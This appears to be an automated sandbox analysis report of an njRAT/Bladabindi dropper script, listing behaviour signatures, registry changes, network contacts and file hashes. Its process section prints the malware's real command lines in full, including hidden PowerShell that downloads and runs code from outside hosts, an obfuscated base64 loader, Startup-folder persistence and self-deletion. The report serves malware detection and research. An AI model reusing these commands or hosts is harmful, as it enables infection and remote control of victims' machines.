Analysis Overview
SHA256
ce6cdc61e1758c5abd949a017475171aea3dbd9571d45300990badd6006759c4
Threat Level: Known bad
The file e4fbe2c0de215885d004f354f1e57357 was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Drops startup file
Deletes itself
Checks computer location settings
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Modifies registry class
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-09-22 19:00
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-09-22 19:00
Reported
2022-09-22 19:03
Platform
win7-20220812-en
Max time kernel
167s
Max time network
47s
Command Line
Signatures
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Windows\explorer.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1" | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents" | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 200000001a00eebbfe2300001000d09ad3fd8f23af46adb46c85480369c700000000 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 780 wrote to memory of 960 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 780 wrote to memory of 960 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 780 wrote to memory of 960 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 960 wrote to memory of 1528 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 960 wrote to memory of 1528 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 960 wrote to memory of 1528 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e4fbe2c0de215885d004f354f1e57357.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1022146310729650249/1022278336447262750/Crpted55.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ØØªÙ…ذمیص.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ØØªÙ…ذمیص.wsf');Start-Sleep 1;rm *.vbs,*.wsf
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Network
Files
memory/780-54-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp
memory/960-55-0x0000000000000000-mapping.dmp
memory/960-57-0x000007FEF3A90000-0x000007FEF44B3000-memory.dmp
memory/960-59-0x0000000002364000-0x0000000002367000-memory.dmp
memory/960-58-0x000007FEF2F30000-0x000007FEF3A8D000-memory.dmp
memory/960-60-0x000000001B6F0000-0x000000001B9EF000-memory.dmp
memory/960-61-0x000000000236B000-0x000000000238A000-memory.dmp
memory/1528-62-0x0000000000000000-mapping.dmp
memory/1100-65-0x00000000039C0000-0x00000000039D0000-memory.dmp
memory/960-66-0x0000000002364000-0x0000000002367000-memory.dmp
memory/960-67-0x000000000236B000-0x000000000238A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-09-22 19:00
Reported
2022-09-22 19:03
Platform
win10v2004-20220812-en
Max time kernel
146s
Max time network
155s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\حتمذمیص.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\حتمذمیص.vbs | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1564 set thread context of 2356 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e4fbe2c0de215885d004f354f1e57357.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1022146310729650249/1022278336447262750/Crpted55.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('ØØªÙ…ذمیص.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ØØªÙ…ذمیص.wsf');Start-Sleep 1;rm *.vbs,*.wsf
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAE4AWQBnAE8AeABSAF凸凸凸A凸凸凸AAlACcAOwBbAEIAeQB0AG凸凸凸AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG凸凸凸AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA凸凸凸wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG凸凸凸AdAAuAFcAZQBiAEMAbABpAG凸凸凸AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA凸凸凸wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANQAuADQAMgAuADEAOQA5AC4AMQAyADAALwBkAGwAbAAvAGwAYQBuAG4AbwBkAGwAbAAuAHQAeAB0ACcAKQApADsAWwBzAHkAcwB0AG凸凸凸AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAeABLAHYASwBrAH凸凸凸ATgBaAC4AVQBHAGwAeQBtAHoAVQBnACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBVAEQAcwBTAGkARABiAGIAJwApAC4ASQBuAHYAbwBrAG凸凸凸AKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgAwADAAMAA4AGsAbwA5ADAAMQAyAC8AOAA0ADgAMwA0ADkAMwAzADcAMAA2ADgAOAAyADkAMQAyADAAMQAvADEANwA1ADMANQAwADcAMgA4AD凸凸凸ANgA2ADcAMgA5ADEAMgAwADEALwBzAHQAbgBlAG0AaABjAGEAdAB0AGEALwBtAG8AYwAuAHAAcABhAGQAcgBvAGMAcwBpAGQALgBuAGQAYwAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAC0GKgZFBjAGRQbMBj凸凸凸GJwAgACkAKQA=';$OWjuxDt = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('凸凸凸','U') ) );$OWjuxDt = $OWjuxDt.replace('%NYgOxRUP%', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxDt
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Windows\Temp\nLeNPdi.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://5.42.199.120/dll/lannodll.txt'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('txt.0008ko9012/8483493370688291201/1753507285667291201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'حتمذمیص' ))"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| RU | 5.42.199.120:80 | 5.42.199.120 | tcp |
| US | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | wins2109ok.duckdns.org | udp |
| US | 173.225.115.227:8000 | wins2109ok.duckdns.org | tcp |
| NL | 52.178.17.3:443 | tcp | |
| NL | 178.79.208.1:80 | tcp | |
| NL | 178.79.208.1:80 | tcp |
Files
memory/3068-132-0x0000000000000000-mapping.dmp
memory/3068-133-0x000001F4F70B0000-0x000001F4F70D2000-memory.dmp
memory/3068-134-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4920-135-0x0000000000000000-mapping.dmp
C:\Windows\Temp\nLeNPdi.vbs
| MD5 | a0fa641e1fe743aa44d0b42c25243143 |
| SHA1 | 5db55be1cbe8e19f55671e18ca2741e9a5d61c48 |
| SHA256 | 3e2e52d83f938c4bbe67d9369bb29866153ecc846aa7e9761e73dbfaa8a26041 |
| SHA512 | e3f103df2bdc9590e738141159da75d63b9e61e60c85df689986157339641761c2269dd29fdbdea8838eaeec8c2569320682501a2df019f08222c8489110de4d |
memory/1360-137-0x0000000000000000-mapping.dmp
memory/2776-138-0x0000000000000000-mapping.dmp
memory/1564-139-0x0000000000000000-mapping.dmp
memory/2776-140-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/1564-141-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/2356-142-0x0000000000400000-0x000000000040C000-memory.dmp
memory/2356-143-0x000000000040676E-mapping.dmp
memory/1564-144-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 235a8eb126d835efb2e253459ab8b089 |
| SHA1 | 293fbf68e6726a5a230c3a42624c01899e35a89f |
| SHA256 | 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686 |
| SHA512 | a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92 |
memory/2776-147-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4aaea8e990963328115bd59dee2bcda8 |
| SHA1 | 2d7eed0a0a898811d6a149a4545ab3732477c01a |
| SHA256 | d9409a92c971fffde4ef29a4777990224d362ae8d847b583a7bd01b5d80394cc |
| SHA512 | de1b4cd2633996f20d8967a55c654c902f94080ba4d002c8d7fd473d077b5c26d4b3c8064a3c69a9485074560f25764225f42aadde352633f96326ee521fbd50 |
memory/3068-149-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/2356-150-0x00000000051F0000-0x000000000528C000-memory.dmp
memory/2356-151-0x0000000005840000-0x0000000005DE4000-memory.dmp
memory/2356-152-0x0000000005430000-0x00000000054C2000-memory.dmp
memory/2356-153-0x0000000005390000-0x000000000539A000-memory.dmp
memory/2356-154-0x00000000054D0000-0x0000000005536000-memory.dmp